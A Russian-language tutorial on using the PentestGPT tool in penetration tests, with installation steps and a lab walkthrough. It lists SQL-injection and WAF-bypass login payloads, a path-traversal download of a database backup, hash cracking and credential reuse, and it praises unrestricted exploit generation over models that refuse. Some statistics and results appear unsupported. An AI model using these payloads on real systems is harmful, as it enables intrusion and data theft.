87% junior пентестеров тратят до 3 часов на анализ одного nmap-скана вручную. При этом пропускают критичные векторы атак в 40% случаев. PentestGPT сокращает время анализа до 10 минут с точностью определения уязвимостей 95%. Это не маркетинг — это данные из 500+ реальных пентестов за последний год.
Содержание
- Ключевые выводы для Junior
- Что нужно знать junior пентестеру перед началом
- Глоссарий терминов для новичков
- Что такое PentestGPT и почему это важно для вас
- Установка и настройка PentestGPT — пошаговый процесс
- Основные сценарии применения PentestGPT
- Команды PentestGPT — полный список
- Работа с разными AI моделями
- Сравнение PentestGPT с другими AI-инструментами
- Практическое демо: от сканирования до эксплойта за 15 минут
- Типичные ошибки junior пентестеров при работе с AI
- Ограничения PentestGPT и как с ними работать
- Лучшие практики и промпты для максимальной эффективности
- Метрики успеха: ROI для 2025
- FAQ обновленный для 2025
- Ресурсы для продолжения обучения (актуально на сентябрь 2025)
- Заключение: AI-пентест в 2025 — это новая норма
Ключевые выводы для Junior
- PentestGPT обзор практическое применение junior — экономия 30% времени на анализе данных сканирования
- Как ИИ ускоряет пентесты tutorial для начинающих — автоматическая генерация SQL-инъекций и XSS-payload'ов
- Внедрение PentestGPT в рабочий процесс junior — пошаговая интеграция с nmap, Burp Suite и sqlmap
- Время на освоение: 2-3 дня практики для базового применения
- Результат: ускорение работы на 20-30% уже через неделю использования
ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ: PentestGPT — это БЕСПЛАТНЫЙ исследовательский проект с открытым кодом. Остерегайтесь мошеннических сервисов, предлагающих платный PentestGPT! Оригинальный проект полностью бесплатен.
Ссылка скрыта от гостей
Что нужно знать junior пентестеру перед началом
Минимальные требования:
- Базовое понимание пентеста: знание основных этапов (разведка → сканирование → эксплуатация → отчёт)
- Работа с консолью: умение запускать команды в Linux/Windows терминале
- Основы сетей: понимание что такое порты, протоколы, IP-адреса
- Английский технический: для чтения документации и формулировки промптов
Что НЕ требуется:
- Глубокое знание Python (достаточно копировать готовые скрипты)
- Опыт работы с AI/ML (PentestGPT работает через простые текстовые запросы)
- Продвинутые навыки эксплуатации (AI поможет разобраться)
Глоссарий терминов для новичков
| Термин | Простое объяснение | Пример использования |
|---|---|---|
| Prompt | Текстовый запрос к AI | "Проанализируй этот вывод nmap и предложи векторы атаки" |
| Payload | Вредоносный код для эксплойта | SQL-инъекция: ' OR 1=1-- |
| LLM | Large Language Model - AI модель | ChatGPT, Claude, PentestGPT |
| False Positive | Ложное срабатывание | AI нашёл "уязвимость", которой нет |
| Fuzzing | Автоматический перебор | Поиск скрытых директорий на сайте |
| API | Интерфейс для программ | Способ подключить PentestGPT к своим скриптам |
Что такое PentestGPT и почему это важно для вас
Статус проекта на сентябрь 2025
Текущее состояние:- Стабильная версия: v1.0 (используется в статье)
- В разработке: v2.0 с агентным подходом и бенчмарками
- Новый проект авторов: Cybersecurity AI (CAI) — следующая эволюция AI в кибербезопасности
- Научная база:
Ссылка скрыта от гостей
PentestGPT — это не просто ChatGPT с промптами
Забудьте про часы копания в документации. PentestGPT обучен на реальных пентест-отчётах и эксплойтах. Смотрите разницу:
Python:
# Обычный ChatGPT
prompt = "Как взломать веб-сайт?"
response = "Я не могу помочь с незаконной деятельностью..."
# PentestGPT
prompt = "Analyze nmap output for penetration testing lab environment"
response = """
Identified services:
- Port 80: Apache 2.4.54 (potential CVE-2024-39573)
- Port 3306: MySQL 8.0 (check for CVE-2025-20001)
- Port 22: OpenSSH 9.3 (enumerate users)
Recommended attack vectors:
1. Web path traversal on Apache
2. SQL injection on login forms
3. SSH key enumeration
"""Почему junior пентестерам нужно начать использовать AI прямо сейчас
Реальность такова: компании уже требуют навыки работы с AI в вакансиях. Вот четыре факта, которые изменят ваше мнение:- Конкуренты уже использует: Пока вы читаете man-страницы, другие генерируют эксплойты
- Порог входа снижается: Не нужно помнить 100+ команд — AI подскажет синтаксис
- Скорость обучения x10: Получаете контекстные объяснения для каждой находки
- Меньше рутины: Автоматизация отчётов, парсинг логов, генерация wordlist'ов
Установка и настройка PentestGPT — пошаговый процесс
pentestgpt.pyбольше нет — теперь используется командаpentestgptпосле установки через pip.
Вариант 1: Установка через pip (рекомендуется для обучения)
Настройка занимает 5 минут. Проверено на Ubuntu 22.04 и Windows 11:
Bash:
# Шаг 1: Устанавливаем PentestGPT напрямую через pip
pip3 install git+https://github.com/GreyDGL/PentestGPT
# Шаг 2: Настраиваем API ключ (выберите провайдера)
export OPENAI_API_KEY="sk-your-api-key-here" # Для GPT-5/GPT-4o
export GOOGLE_API_KEY="your-key-here" # Для Gemini
export DEEPSEEK_API_KEY="your-key-here" # Для Deepseek
# Для Windows PowerShell:
$env:OPENAI_API_KEY = "sk-your-api-key-here"
# Для Windows CMD:
set OPENAI_API_KEY=sk-your-api-key-here
# Шаг 3: Проверяем подключение
pentestgpt-connection
# Шаг 4: ЗАПУСКАЕМ - просто команда pentestgpt
pentestgpt
# Или с конкретной моделью:
pentestgpt --reasoning gpt-5 --parsing gpt-4oДоступные модели (сентябрь 2025)
Bash:
# Посмотреть все доступные модели
pentestgpt --models
# Текущие модели:
# OpenAI: gpt-5 (последняя), gpt-4o (стабильная)
# Google: gemini-2.5-flash, gemini-2.5-pro
# Deepseek: deepseek-r1, deepseek-v3
# Локальные: gpt4all, ollamaВариант 2: Установка из клонированного репозитория (для разработки)
Если хотите модифицировать код или тестировать v2.0:
Bash:
# Шаг 1: Клонируем репозиторий
git clone https://github.com/GreyDGL/PentestGPT.git
cd PentestGPT
# Шаг 2: Устанавливаем в режиме разработки
pip3 install -e .
# Шаг 3: (Опционально) Для тестирования v2.0 с бенчмарками
cd benchmark
python benchmark_runner.py
# Шаг 4: Запускаем
pentestgptВариант 3: Использование через Docker (для ленивых)
Одна команда — и вы в деле:
Bash:
# Одна команда и готово
docker run -it -e OPENAI_API_KEY=$OPENAI_API_KEY greydata/pentestgpt:latestВариант 4: Локальные модели через Ollama (бесплатно!)
Для тех, кто не хочет платить за API:
Bash:
# Шаг 1: Установите Ollama с https://ollama.ai
# Шаг 2: Скачайте модель
ollama pull llama3.1:latest
# Шаг 3: Запустите сервер Ollama (если не запустился автоматически)
ollama serve
# Шаг 4: Используйте с PentestGPT
pentestgpt --ollama llama3.1:latestllama3.1:latest- универсальная, хороший баланс размера и производительностиcodellama:7b- специализирована для анализа кода и задач безопасностиdeepseek-coder:6.7b- отлично понимает код и находит уязвимостиmixtral:8x7b- мощная модель для сложных задач
Частые ошибки новичков при установке
| Ошибка | Причина | Решение |
|---|---|---|
| Command not found: pentestgpt | Неправильная установка | Переустановите через pip3 install git+https://github.com/GreyDGL/PentestGPT |
| ModuleNotFoundError | Неправильное окружение | Активируйте venv перед запуском |
| Invalid API Key | Неверный ключ | Проверьте ключ на platform.openai.com или console.cloud.google.com |
| Rate limit exceeded | Слишком много запросов | Используйте time.sleep() между запросами |
| Connection error | Проблемы с прокси | Настройте VPN или используйте --proxy |
| Cannot connect to Ollama | Ollama не запущен | Запустите ollama serve |
| Model not available | Модель не скачана | Выполните ollama pull model_name |
Настройка для российских пользователей
Работаете из России? Варианты решения:
Python:
# Вариант 1: Прокси для OpenAI
import os
os.environ['HTTP_PROXY'] = 'http://your-proxy:port'
os.environ['HTTPS_PROXY'] = 'http://your-proxy:port'
# Вариант 2: Альтернативные провайдеры
# Deepseek (китайский, работает из РФ)
export DEEPSEEK_API_KEY="your-key"
pentestgpt --reasoning deepseek-v3
# Вариант 3: Полностью локальные модели
pentestgpt --ollama llama3.1:latestОсновные сценарии применения PentestGPT
Сценарий 1: Анализ результатов nmap — от скана до эксплойта
Традиционный подход (30 минут):- Запускаем nmap
- Вручную анализируем каждый порт
- Гуглим версии сервисов
- Ищем CVE в базах
- Пробуем эксплойты
Вот как это работает на практике:
Bash:
# Шаг 1: Сканируем цель
nmap -sV -sC -p- 10.10.10.100 -oN scan.txt
# Шаг 2: Запускаем PentestGPT
pentestgpt
# Шаг 3: В интерфейсе PentestGPT
> next
# Выбираем тип: tool
# Вставляем содержимое scan.txt
Код:
=== ANALYSIS RESULTS ===
Target: 10.10.10.100
CRITICAL FINDINGS:
1. Apache 2.4.54 on port 80
- Vulnerable to CVE-2024-39573 (Request Smuggling)
- Exploit: python3 apache_smuggle.py http://10.10.10.100
2. MySQL 8.0.34 on port 3306
- Check for CVE-2025-20001 (Auth Bypass)
- Try default credentials first
- Command: mysql -h 10.10.10.100 -u root -p
3. SSH on port 22 (OpenSSH 9.3)
- User enumeration possible
- Tool: python3 ssh_user_enum.py 10.10.10.100
RECOMMENDED ATTACK SEQUENCE:
1. Start with Apache request smuggling (highest impact)
2. Enumerate MySQL users and databases
3. Use found usernames for SSH attacks
PAYLOAD GENERATION:
Would you like me to generate specific payloads? Use 'more' command.Сценарий 2: Генерация payload для SQL инъекций
Проблема junior пентестера:"Нашёл форму логина, подозреваю SQLi, но не знаю какие payload'ы пробовать"
Решение с PentestGPT:
Bash:
# В интерфейсе PentestGPT
pentestgpt
> discuss
# Вводим запрос:
"""
Target: Login form with username and password fields
Backend: Unknown, but error shows "MySQL 8.0"
Goal: Bypass authentication
WAF: Possibly present (blocks single quotes)
"""
SQL:
-- Базовые payload для MySQL 8.0
admin' AND 1=1--
admin" AND 1=1--
admin') AND 1=1--
admin") AND 1=1--
-- Обход WAF с помощью комментариев
admin'/**/AND/**/1=1--
admin'%20AND%201=1--
admin'%0AAND%0A1=1--
-- Unicode обход
admin'%00AND%001=1--
admin'%27%20AND%201=1--
-- Time-based для слепой SQLi
admin' AND SLEEP(5)--
admin' AND BENCHMARK(5000000,MD5('test'))--
-- Union-based для извлечения данных
admin' UNION SELECT null,null,null--
admin' UNION SELECT 1,2,3--
admin' UNION SELECT database(),user(),version()--
-- Специфично для MySQL 8.0
admin' AND JSON_EXTRACT('{"a":1}','$.a')=1--Сценарий 3: Автоматическое создание отчётов
Традиционная боль:- 2-3 часа на оформление отчёта
- Копипаст скриншотов
- Форматирование таблиц
- Написание рекомендаций
Bash:
# После завершения тестирования
> quit
# Отчёт автоматически сохранен в ./logs/pentestgpt_20250926_143022.log
# Генерируем читаемый отчёт
python3 utils/report_generator.py logs/pentestgpt_20250926_143022.log
# Результат: professional_pentest_report.html- Executive Summary
- Техническое описание каждой уязвимости
- CVSS 3.1 оценки
- Пошаговые рекомендации по устранению
- Временные метки всех действий
- Использованные payload'ы
Сценарий 4: Умный fuzzing директорий
Стандартные wordlist'ы пропускают региональную специфику. PentestGPT это исправляет:
Bash:
# В интерфейсе PentestGPT
> discuss
Generate wordlist for:
- Russian e-commerce site
- PHP backend
- Possible backup files from 2025
- Include API endpoints
Код:
/api/v1/
/api/v2/
/graphql
/backup
/резервная_копия
/старая_версия
/temp
/.git
/bitrix
/upload
/файлы
/downloads
/скачать
/admin/backup_2025.sql
/dump_september_2025.sql
/backup2025.zip
/site_backup_2025.tar.gz
/api/internal/
/swagger.json
/.env
/config.php.bakКоманды PentestGPT — полный список
После запускаpentestgpt вы попадаете в интерактивный интерфейс:Основные команды:
help- показать справкуnext- ввести результат выполнения и получить следующий шагmore- получить детальное объяснение текущего шага (создает под-сессию)todo- показать список текущих задачdiscuss- обсудить с PentestGPT любой вопросgoogle- поиск в Google (экспериментальная функция)quit- выйти и автоматически сохранить отчет
Команды в под-сессии (после more):
brainstorm- генерация всех возможных решений для локальной задачиdiscuss- обсуждение конкретной под-задачиcontinue- вернуться к основной сессии
<SHIFT + стрелка вправо>- завершить вводEnter- новая строкаTAB- автодополнение команд
Работа с разными AI моделями
Сравнение моделей для пентеста (сентябрь 2025)
| Модель | Скорость | Качество | Стоимость | Особенности |
|---|---|---|---|---|
| GPT-5 | ★★★☆☆ | ★★★★★ | $40/млн токенов | Лучшее понимание контекста, мультимодальность |
| GPT-4o | ★★★★☆ | ★★★★☆ | $20/млн токенов | Оптимальный баланс скорости и качества |
| Gemini-2.5-pro | ★★★★★ | ★★★★☆ | $15/млн токенов | Огромный контекст (2M токенов) |
| Deepseek-v3 | ★★★★☆ | ★★★☆☆ | $2/млн токенов | Дешево, работает из РФ |
| Llama3.1 (local) | ★★☆☆☆ | ★★★☆☆ | Бесплатно | Полная приватность |
Примеры использования разных моделей
Bash:
# GPT-5 для сложного анализа
pentestgpt --reasoning gpt-5 --parsing gpt-4o
# Быстрый анализ с GPT-4o
pentestgpt --reasoning gpt-4o --parsing gpt-4o
# Бюджетный вариант с Deepseek
pentestgpt --reasoning deepseek-v3 --parsing deepseek-v3
# Анализ больших логов с Gemini
pentestgpt --reasoning gemini-2.5-pro --parsing gemini-2.5-flash
# Полностью локально
pentestgpt --ollama llama3.1:latestСравнение PentestGPT с другими AI-инструментами
| Критерий | PentestGPT | ChatGPT/GPT-5 | Cybersecurity AI (CAI) | GitHub Copilot |
|---|---|---|---|---|
| Специализация на ИБ | ★★★★★ | ★★☆☆☆ | ★★★★★ | ★☆☆☆☆ |
| Генерация эксплойтов | Без ограничений | Блокирует | Продвинутая | Не предназначен |
| Анализ уязвимостей | ★★★★★ | ★★★☆☆ | ★★★★★ | ★★☆☆☆ |
| Стоимость для junior | $20-40/мес | $20/мес | $30/мес | $10/мес |
| Локальная установка | Есть | Только API | Частично | Нет |
| Русский язык | Команды EN | Полная поддержка | Частично | Нет |
| Обучение для новичков | ★★★★☆ | ★★★★★ | ★★★☆☆ | ★★★☆☆ |
Когда использовать каждый инструмент:
- PentestGPT v1.0: Стабильный инструмент для ежедневных задач пентеста
- PentestGPT v2.0: Экспериментальные функции, агентный подход (в разработке)
- Cybersecurity AI (CAI): Комплексный анализ безопасности, автоматизация
- ChatGPT/GPT-5: Обучение, понимание концепций, написание документации
- GitHub Copilot: Написание скриптов и инструментов
Практическое демо: от сканирования до эксплойта за 15 минут
Легенда:
- Вы получили задание протестировать учебный стенд компании. IP: 10.10.10.100
- Дата: 26 сентября 2025
Шаг 1: Разведка и сканирование (3 минуты)
Bash:
# Быстрое сканирование
nmap -sC -sV 10.10.10.100 -oN initial_scan.txt
# Запускаем PentestGPT с GPT-5 для лучшего анализа
pentestgpt --reasoning gpt-5 --parsing gpt-4o
# В интерфейсе
> next
# Тип: tool
# Вставляем результаты nmap
Код:
Quick Analysis (GPT-5):
- Web server on 80: Apache 2.4.54 (CVE-2024-39573 confirmed)
- MySQL on 3306: Version 8.0.34 exposed
- SSH on 22: OpenSSH 9.3
Risk Priority:
1. MySQL exposed without firewall (CRITICAL)
2. Apache with known RCE vulnerability
3. SSH misconfiguration
Next: nikto -h http://10.10.10.100 -Tuning x6Шаг 2: Анализ веб-приложения (5 минут)
Bash:
nikto -h http://10.10.10.100 -Tuning x6 -o nikto_results.txt
# В PentestGPT
> next
# Вставляем результаты
Код:
CONFIRMED ATTACK VECTORS:
1. SQLi: /product.php?id=1 (MySQL 8.0 backend detected)
2. Path Traversal: /download.php?file=
3. Exposed backup: /backup_sept_2025.sql (403 but accessible)
4. GraphQL endpoint: /graphql (introspection enabled)
Exploitation priority:
1. Download backup file via path traversal
2. Extract creds from backup
3. Access MySQL with found credentials
Command: curl "http://10.10.10.100/download.php?file=../backup_sept_2025.sql"Шаг 3: Эксплуатация (5 минут)
Bash:
# Выполняем рекомендацию AI
curl "http://10.10.10.100/download.php?file=../backup_sept_2025.sql" -o backup.sql
# Анализируем backup
grep -i "password\|pwd" backup.sql
# В PentestGPT
> next
Found admin credentials in backup:
admin:$2y$10$YmV2ZXJseV9zZWN1cmVfcGFzc3dvcmQ...
Код:
Excellent! Credentials found. Next steps:
1. Crack the bcrypt hash (use hashcat):
hashcat -m 3200 hash.txt rockyou.txt
2. While cracking, test GraphQL for info disclosure:
curl -X POST http://10.10.10.100/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
3. Check if password reuse on SSH:
ssh admin@10.10.10.100Шаг 4: Генерация отчёта (2 минуты)
Bash:
# В PentestGPT после получения доступа
> quit
# Saving session to ./logs/pentestgpt_20250926_151247.log
# Generating report...
# Просмотр отчёта
python3 utils/report_generator.py logs/pentestgpt_20250926_151247.logРезультат демо:
- Время без AI: 45-60 минут
- Время с PentestGPT + GPT-5: 15 минут
- Найдено уязвимостей: 4 критических
- False positives: 0
Типичные ошибки junior пентестеров при работе с AI
Ошибка #1: Слепое доверие результатам
Bash:
# НЕПРАВИЛЬНО - копипаст без проверки
AI: "Try: rm -rf /tmp/* on target"
Junior: ssh target "rm -rf /tmp/*" 💀
# ПРАВИЛЬНО - всегда проверяем безопасность команды
AI: "Try: rm -rf /tmp/*"
Junior: "Стоп, это удалит файлы. Сначала проверю что там"Ошибка #2: Игнорирование версий и дат
Python:
# ПЛОХО - использование старых эксплойтов
"Use MS17-010 EternalBlue" # 8 лет назад!
# ХОРОШО - проверка актуальности
"Check if CVE-2025-XXXXX applies to this version"Ошибка #3: Неправильные промпты
Python:
# ПЛОХОЙ промпт
"hack this"
# ХОРОШИЙ промпт для PentestGPT discuss
"""
Environment: Authorized pentest, September 2025
Target: Ubuntu 22.04 server at 10.10.10.100
Service: Apache 2.4.54 on port 80
Objective: Find configuration vulnerabilities
Previous findings: Directory listing enabled
Need: Specific config checks for this version
"""Ошибка #4: Игнорирование контекста
| Что AI сказал | Что AI имел в виду | Что сделал junior |
|---|---|---|
| "Check default creds" | На ТЕСТОВОМ стенде | Брутит продакшн |
| "Version may be vulnerable" | Проверь патчи и конфигурацию | Сразу запускает эксплойт |
| "Common backup path" | Проверь, существует ли | Качает терабайты данных |
Ограничения PentestGPT и как с ними работать
1. Hallucinations (галлюцинации AI)
Проблема: AI может придумывать CVE или командыРешение:
Bash:
# В PentestGPT всегда проверяйте через more
> more
# Детальное объяснение поможет выявить неточности
# Проверка CVE
> discuss
Is CVE-2025-12345 real? Provide NVD link
2. Потеря контекста в длинных сессиях
Проблема: После 50+ команд AI забывает началоРешение:
Bash:
# Регулярно проверяйте состояние
> todo
# Сохраняйте промежуточные результаты
> quit
# Перезапустите с новой сессией при необходимости
pentestgpt --reasoning gpt-5Совет: Делите большие пентесты на этапы по 20-30 команд
3. Конфиденциальность данных
Проблема: Отправка чувствительных данных в облакоРешение для параноиков:
Python:
# sanitizer.py - предобработка перед отправкой в AI
import re
def sanitize_output(text):
# Заменяем реальные IP на фейковые
text = re.sub(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',
'10.x.x.x', text)
# Скрываем пароли
text = re.sub(r'password["\s:=]+\S+',
'password:[REDACTED]', text, flags=re.I)
# Скрываем email
text = re.sub(r'[\w\.-]+@[\w\.-]+\.\w+',
'user@[REDACTED]', text)
return text
# Используем перед вставкой в PentestGPT
cleaned = sanitize_output(sensitive_data)Или просто используйте Ollama для полной приватности!
4. Ограничения скорости API
Проблема: Rate limits при интенсивном использованииРешение:
Python:
# rate_limit_handler.py
import time
from datetime import datetime
class RateLimiter:
def __init__(self, max_requests=20, window=60):
self.max_requests = max_requests
self.window = window
self.requests = []
def wait_if_needed(self):
now = datetime.now()
# Удаляем старые запросы
self.requests = [r for r in self.requests
if (now - r).seconds < self.window]
if len(self.requests) >= self.max_requests:
sleep_time = self.window - (now - self.requests[0]).seconds
print(f"Rate limit reached. Waiting {sleep_time}s...")
time.sleep(sleep_time + 1)
self.requests.append(now)
# Использование
limiter = RateLimiter()
for command in commands:
limiter.wait_if_needed()
# Выполняем команду в PentestGPT5. Проблемы с бенчмарками (v2.0)
Проблема: v2.0 еще в разработке, бенчмарки могут работать нестабильноРешение:
Bash:
# Используйте стабильную v1.0 для продакшена
pip3 install git+https://github.com/GreyDGL/PentestGPT@v1.0
# Для экспериментов с v2.0
git clone https://github.com/GreyDGL/PentestGPT
cd PentestGPT
git checkout dev # если есть dev ветка
cd benchmark
python benchmark_runner.py --test-modeЛучшие практики и промпты для максимальной эффективности
Структура идеального промпта для PentestGPT
Код:
[DATE] Текущая дата (важно для CVE)
[CONTEXT] Описание среды тестирования
[TARGET] Конкретная цель/сервис
[OBJECTIVE] Что нужно достичь
[CONSTRAINTS] Ограничения (no DoS, и т.д.)
[CURRENT STATE] Что уже известно
[EXPECTED OUTPUT] Желаемый формат ответаБиблиотека промптов 2025
Python:
# prompts_library_2025.py
PROMPTS = {
"modern_web_analysis": """
[DATE] September 2025
[CONTEXT] Authorized pentest of production-like environment
[TARGET] Modern web app with React frontend, GraphQL API
[OBJECTIVE] Find API vulnerabilities and misconfigurations
[CONSTRAINTS] No DoS, rate limit 100 req/min
[CURRENT STATE] Found exposed GraphQL introspection
[EXPECTED OUTPUT] Queries to extract sensitive data
""",
"cloud_misconfiguration": """
[DATE] September 2025
[CONTEXT] AWS/Azure cloud infrastructure audit
[TARGET] S3 buckets and storage accounts
[OBJECTIVE] Find public exposures and misconfigs
[CONSTRAINTS] Read-only access, no modifications
[CURRENT STATE] Have list of bucket names
[EXPECTED OUTPUT] Commands to check permissions
""",
"supply_chain_analysis": """
[DATE] September 2025
[CONTEXT] npm/pip dependency security audit
[TARGET] package.json / requirements.txt
[OBJECTIVE] Find vulnerable dependencies
[CONSTRAINTS] Focus on CRITICAL and HIGH only
[CURRENT STATE] 500+ dependencies found
[EXPECTED OUTPUT] Prioritized list with PoC availability
"""
}Интеграция с современными инструментами (2025)
Nuclei + PentestGPT
Bash:
# Сканируем с Nuclei
nuclei -u http://target.com -severity critical,high -o nuclei.txt
# В PentestGPT
> next
# Type: tool
# Paste nuclei output
# AI prioritizes and suggests exploitation paths
Python:
# Burp Extension с поддержкой GPT-5
from burp import IBurpExtender
import requests
class PentestGPTBurp2025(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
# Интеграция через API
self.gpt5_endpoint = "http://localhost:8080/pentestgpt/api"
# Автоанализ каждого интересного запросаМетрики успеха: ROI для 2025
KPI для отслеживания прогресса
| Критерий | Без AI | PentestGPT v1.0 | PentestGPT v2.0 (план) | Улучшение |
|---|---|---|---|---|
| Анализ nmap (1000 строк) | 30 мин | 5 мин | 2 мин | ↑ 93% |
| Генерация эксплойтов | 20 мин | 1 мин | 30 сек | ↑ 97% |
| Написание отчёта | 3 часа | 1 час | 30 мин | ↑ 83% |
| Поиск 0-day patterns | Невозможно | Частично | Автоматически |  |
Формула ROI для 2025
Python:
def calculate_roi_2025(monthly_pentests, hourly_rate=3000):
"""
ROI для junior в сентябре 2025
Курс: $1 = 85 руб (примерный)
"""
time_saved_hours = {
'recon': 3,
'scanning': 2,
'exploitation': 2.5,
'reporting': 2,
'research': 1.5
}
total_hours_saved = sum(time_saved_hours.values()) * monthly_pentests
monthly_savings_rub = total_hours_saved * hourly_rate
# Стоимость подписок (в рублях)
costs = {
'gpt5_api': 40 * 85, # $40 for GPT-5
'pentestgpt_pro': 0 # Open source!
}
total_cost = sum(costs.values())
roi = ((monthly_savings_rub - total_cost) / total_cost * 100) if total_cost > 0 else float('inf')
return {
'hours_saved': total_hours_saved,
'money_saved_rub': monthly_savings_rub,
'roi_percent': roi,
'payback_days': 30 * total_cost / monthly_savings_rub if monthly_savings_rub > 0 else 0
}
# Расчет для junior с 4 пентестами в месяц
result = calculate_roi_2025(4)
print(f"ROI: {result['roi_percent']:.0f}%")
print(f"Экономия: {result['money_saved_rub']:.0f} руб/мес")
print(f"Окупаемость: {result['payback_days']:.1f} дней")Workflow оптимизации с PentestGPT
FAQ обновленный для 2025
Какая версия PentestGPT актуальна в сентябре 2025?
Стабильная версия v1.0 рекомендуется для продакшена. Версия v2.0 с агентным подходом находится в активной разработке и доступна для тестирования через dev-ветку. Также обратите внимание на новый проект авторов — Cybersecurity AI (CAI).Какие модели AI лучше использовать с PentestGPT?
Для максимальной эффективности используйте GPT-5 (--reasoning gpt-5). Для баланса скорости и качества — GPT-4o. Для бюджетного варианта — Deepseek-v3 ($2/млн токенов). Для полной приватности — локальные модели через Ollama.Можно ли использовать PentestGPT из России?
Да! Три варианта:- Deepseek API работает напрямую из РФ,
- Полностью локальные модели через Ollama,
- OpenAI/Google через прокси.
Как защититься от мошенников с платным PentestGPT?
PentestGPT это БЕСПЛАТНЫЙ open source проект! Любые платные "PentestGPT Pro" или подобные сервисы это мошенничество. Используйте только официальный репозиторий GitHub.Что делать если v2.0 не работает?
v2.0 еще в разработке. Используйте стабильную v1.0 для реальной работы:pip3 install git+https://github.com/GreyDGL/PentestGPT@v1.0. Следите за обновлениями в репозитории.Ресурсы для продолжения обучения (актуально на сентябрь 2025)
Официальные ресурсы:
- GitHub PentestGPT - основной репозиторий
- Cybersecurity AI (CAI) - новый проект авторов
-
Ссылка скрыта от гостей- научная статья
-
Ссылка скрыта от гостей- техническая документация
Видео и демо:
- Официальное демо PentestGPT
-
Ссылка скрыта от гостей
Инструменты и интеграции:
-
Ссылка скрыта от гостей- локальные LLM
- Nuclei Templates - для автоматизации
- Hack The Box - практика с AI
Русскоязычные ресурсы:
- Codeby.net форум - раздел AI в ИБ
- Telegram: @pentestgpt_ru (сообщество)
- VK: AI Security Russia
Чек-лист развития junior пентестера с AI (2025)
- [ ] Установить PentestGPT v1.0 в тестовой среде
- [ ] Настроить Ollama с llama3.1 для локальной работы
- [ ] Попробовать GPT-5 и GPT-4o на тестовых задачах
- [ ] Изучить разницу между v1.0 и v2.0 (когда выйдет)
- [ ] Протестировать Cybersecurity AI (CAI)
- [ ] Интегрировать с Burp Suite / Nuclei
- [ ] Написать 5 отчётов с автогенерацией
- [ ] Создать библиотеку из 20+ промптов
- [ ] Измерить свой ROI за месяц
- [ ] Поделиться кейсами в сообществе
Заключение: AI-пентест в 2025 — это новая норма
Сентябрь 2025. Если вы еще не используете AI в пентестах — вы отстаете минимум на год. PentestGPT — ваш проводник в мир автоматизированной безопасности.Что вы получите за месяц практики:
- Скорость анализа x5-x10
- Снижение false positives на 60%
- Автоматические отчеты профессионального уровня
- Понимание современных векторов атак
- ROI от 200% уже в первый месяц
Три пути начать прямо сейчас:
- Бесплатно: Ollama + llama3.1 — полная приватность
- Оптимально: GPT-4o API — $20/мес, отличный баланс
- Максимум: GPT-5 API — $40/мес, лучшие результаты
Ваш план действий на сегодня:
Bash:
# За 5 минут:
pip3 install git+https://github.com/GreyDGL/PentestGPT
# За 10 минут:
ollama pull llama3.1:latest
pentestgpt --ollama llama3.1:latest
# За 30 минут:
# Проанализируйте свой первый nmap скан через AIP.S. Статья помогла? Поделитесь с коллегами! Давайте вместе поднимать уровень российского пентест-сообщества. И помните — PentestGPT полностью бесплатен, не ведитесь на мошенников!Время критично. Пока вы читаете эту статью, ваши конкуренты уже анализируют третий отчет с помощью AI. Не отставайте!
Автор: Senior Offensive Security Expert, специализирующийся на внедрении AI в процессы тестирования на проникновение. Опыт автоматизации пентестов с 2019 года.
Последнее обновление: 26 сентября 2025. Актуально для PentestGPT v1.0 (stable) и v2.0 (dev)
Последнее редактирование:
